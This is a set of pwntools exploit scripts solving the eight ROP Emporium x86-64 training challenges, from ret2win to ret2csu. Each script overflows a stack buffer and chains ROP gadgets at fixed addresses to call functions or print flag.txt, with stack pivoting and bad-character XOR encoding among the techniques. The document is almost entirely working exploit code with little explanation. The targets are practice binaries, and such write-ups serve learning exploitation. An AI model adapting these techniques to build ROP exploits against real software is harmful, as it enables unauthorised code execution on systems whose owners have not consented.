# ROP_Emporium Solution > All scripts are currently only for x86-64 ## Ret2win ```python= from pwn import * p = process('./ret2win') #0x400764 t = p64(0x400764) print(t) p.sendlineafter(b'> ',b'a' * (32 + 8) + b'\x64\x07\x40\x00\x00\x00\x00\x00') t = p.recvall(timeout=0.2) print(t) ``` ## Split ```python= from pwn import * p = process('./split') pop_rdi = p64(0x4007c3) cat_flag = p64(0x601060) system_call = p64(0x40074B) payload = b'a' * 40 + pop_rdi + cat_flag + system_call p.sendlineafter(b'> ',payload) res = p.recvall(timeout=0.2) print(res) ``` ## Callme ```python= from pwn import * p = process('./callme') pop_3reg = p64(0x40093C) value_rdi = p64(0xDEADBEEFDEADBEEF) value_rsi = p64(0xCAFEBABECAFEBABE) value_rdx = p64(0xD00DF00DD00DF00D) callme = [p64(0x400720),p64(0x400740),p64(0x4006F0)] payload = b'a' * 40 for i in callme: payload += pop_3reg payload += value_rdi payload += value_rsi payload += value_rdx payload += i p.sendlineafter(b'> ',payload) p.interactive() # res = p.recvall(timeout=0.5) # print(res) ``` ## Write4 ```python= from pwn import * def start(): global chall if args.REMOTE: chall = remote('localhost', 1337) else: chall = elf.process() context.binary = elf = ELF('./write4') start() pop_r14_15 = p64(0x400690) bss_addr = p64(0x601038) pop_rdi = p64(0x400693) print_addr = p64(0x400510) mov_r14_r15 = p64(0x400628) #mov [r14], r15 payload = b'A' * 40 payload += pop_r14_15 payload += bss_addr payload += b'flag.txt' payload += mov_r14_r15 payload += pop_rdi payload += bss_addr payload += print_addr chall.recvuntil(b'> ') chall.sendline(payload) chall.interactive() ``` ## Badchars: ```python from pwn import * def start(): global chall if args.REMOTE: chall = remote('localhost', 1337) else: chall = elf.process() context.binary = elf = ELF('./badchars') start() bss_addr = p64(0x601038) mov_r13_r12 = p64(0x400634) #: mov [r13+0], r12 pop_r12_r13 = p64(0x40069c) #: pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret pop_rdi = p64(0x4006a3) #: pop rdi ; ret xor_r15 = p64(0x400628) #: xor byte ptr [r15], r14b ; ret flag_enc = bytes([i ^ 0xff for i in b'flag.txt']) pop_r15 = p64(0x00000000004006a2) #: pop r15 ; ret print_addr = p64(0x400510) ## set_up bss payload = b'A' * 40 payload += pop_r12_r13 payload += flag_enc payload += bss_addr payload += p64(0xffffffffffffffff) # r14 payload += bss_addr # r15 payload += mov_r13_r12 #bypass badchars bss = 0x601038 for i in range(8): payload += pop_r15 payload += p64(bss + i) payload += xor_r15 # print set up payload += pop_rdi payload += bss_addr payload += print_addr with open('payload.txt', 'wb') as f: f.write(payload + b'\n') chall.sendlineafter(b'> ',payload) p = chall.recvall(timeout = 0.2) print(p) ``` ## Fluff - i decided to make it more pleasant to work with by always starting at bit 0 and using the full length of rbx to construct a complete value for rdx ```python= from pwn import * def start(): global chall if args.REMOTE: chall = remote('localhost', 1337) else: chall = elf.process() context.binary = elf = ELF('./fluff') # libc = elf.libc start() pop_rdi = p64(0x00000000004006a3) # : pop rdi ; ret xlat_addr = p64(0x400628) # : xlat ; ret bextr_addr = p64(0x00000000040062A) # pop rdx # pop rcx # add rcx, 3ef2h # bextr rbx, rcx, rdx # ret # al = [rbx + al] => rbx + al = flag[x] => rbx = flag[x] - al # => len(rbx) = 8 bit upper of rdx; rcx = rbx - 0x3ef2 stosb_addr = p64(0x400639) # stosb; ret bss_addr = 0x601038 flag_addr = [0x4003C4,0x4003C5,0x4003D6,0x4003CF,0x4003C9,0x4003D8,0x4006C8,0x4003D8] al = bytearray(b'\x0bflag.tx') print_addr = p64(0x400510) payload = b'a' * 40 for i in range(8): # extract the flag character payload += bextr_addr rbx = flag_addr[i] - al[i] rcx = rbx - 0x3ef2 rdx = (len(bin(rbx)[2:]) << 8) payload += p64(rdx) payload += p64(rcx) # put the current character to bss payload += xlat_addr payload += pop_rdi payload += p64(bss_addr + i) payload += stosb_addr payload += pop_rdi payload += p64(bss_addr) payload += print_addr with open('payload.txt', 'wb') as f: f.write(payload + b'\n') chall.recvuntil(b'> ') chall.sendline(payload) p = chall.recvall(timeout = 0.2) print(p) ``` ## Pivot ```python= from pwn import * def start(): global chall if args.REMOTE: chall = remote('localhost', 1337) else: chall = elf.process() context.binary = elf = ELF('./pivot') #libc = elf.libc start() payload = b'a\n' chall.send(payload) res = chall.recvuntil(b'\nSend') res = res.replace(b'\n',b' ').split() leak_addr = int(res[-2].decode(),16) #0x7ff1155ecf10 payload = b'a' * 40 + p64(leak_addr + 0x213b71) chall.sendline(payload) t = chall.recvall(timeout=0.2) print(t) # with open('payload.txt', 'wb') as f: # f.write(b'a\n') # f.write(payload + b'\n') # chall.recvall(timeout = 0.2) ``` ## Ret2csu ```python! from pwn import * def start(): global chall if args.REMOTE: chall = remote('localhost', 1337) else: chall = elf.process() context.binary = elf = ELF('./ret2csu') #libc = elf.libc start() payload = b'A' * 40 dum_func = p64(0x0600E48) pop_reg = p64(0x40069A) # pop rbx # .text:000000000040069B 5D pop rbp # .text:000000000040069C 41 5C pop r12 # .text:000000000040069E 41 5D pop r13 # .text:00000000004006A0 41 5E pop r14 # .text:00000000004006A2 41 5F pop r15 # .text:00000000004006A4 C3 retn modify_rdx = p64(0x400680) # loc_400680: ; CODE XREF: __libc_csu_init+54↓j # .text:0000000000400680 4C 89 FA mov rdx, r15 # .text:0000000000400683 4C 89 F6 mov rsi, r14 # .text:0000000000400686 44 89 EF mov edi, r13d # .text:0000000000400689 41 FF 14 DC call ds:(__frame_dummy_init_array_entry - 600DF0h)[r12+rbx*8] # .text:0000000000400689 # .text:000000000040068D 48 83 C3 01 add rbx, 1 # .text:0000000000400691 48 39 DD cmp rbp, rbx # .text:0000000000400694 75 EA jnz short loc_400680 # .text:0000000000400694 # .text:0000000000400696 # .text:0000000000400696 loc_400696: ; CODE XREF: __libc_csu_init+34↑j # .text:0000000000400696 48 83 C4 08 add rsp, 8 # .text:000000000040069A 5B pop rbx # .text:000000000040069B 5D pop rbp # .text:000000000040069C 41 5C pop r12 # .text:000000000040069E 41 5D pop r13 # .text:00000000004006A0 41 5E pop r14 # .text:00000000004006A2 41 5F pop r15 # .text:00000000004006A4 C3 retn # .text:00000000004006A4 ; } // starts at 400640 pop_rdi = p64(0x00000000004006a3) ret2win = p64(0x400510) payload += pop_reg payload += p64(0) payload += p64(1) payload += dum_func payload += p64(0) payload += p64(0xCAFEBABECAFEBABE) payload += p64(0xD00DF00DD00DF00D) payload += modify_rdx payload += p64(0) * 7 payload += pop_rdi payload += p64(0xDEADBEEFDEADBEEF) payload += ret2win with open('payload.txt', 'wb') as f: f.write(payload + b'\n') chall.recvuntil(b'> ') chall.sendline(payload) t = chall.recvall(timeout = 0.2) print(t) ```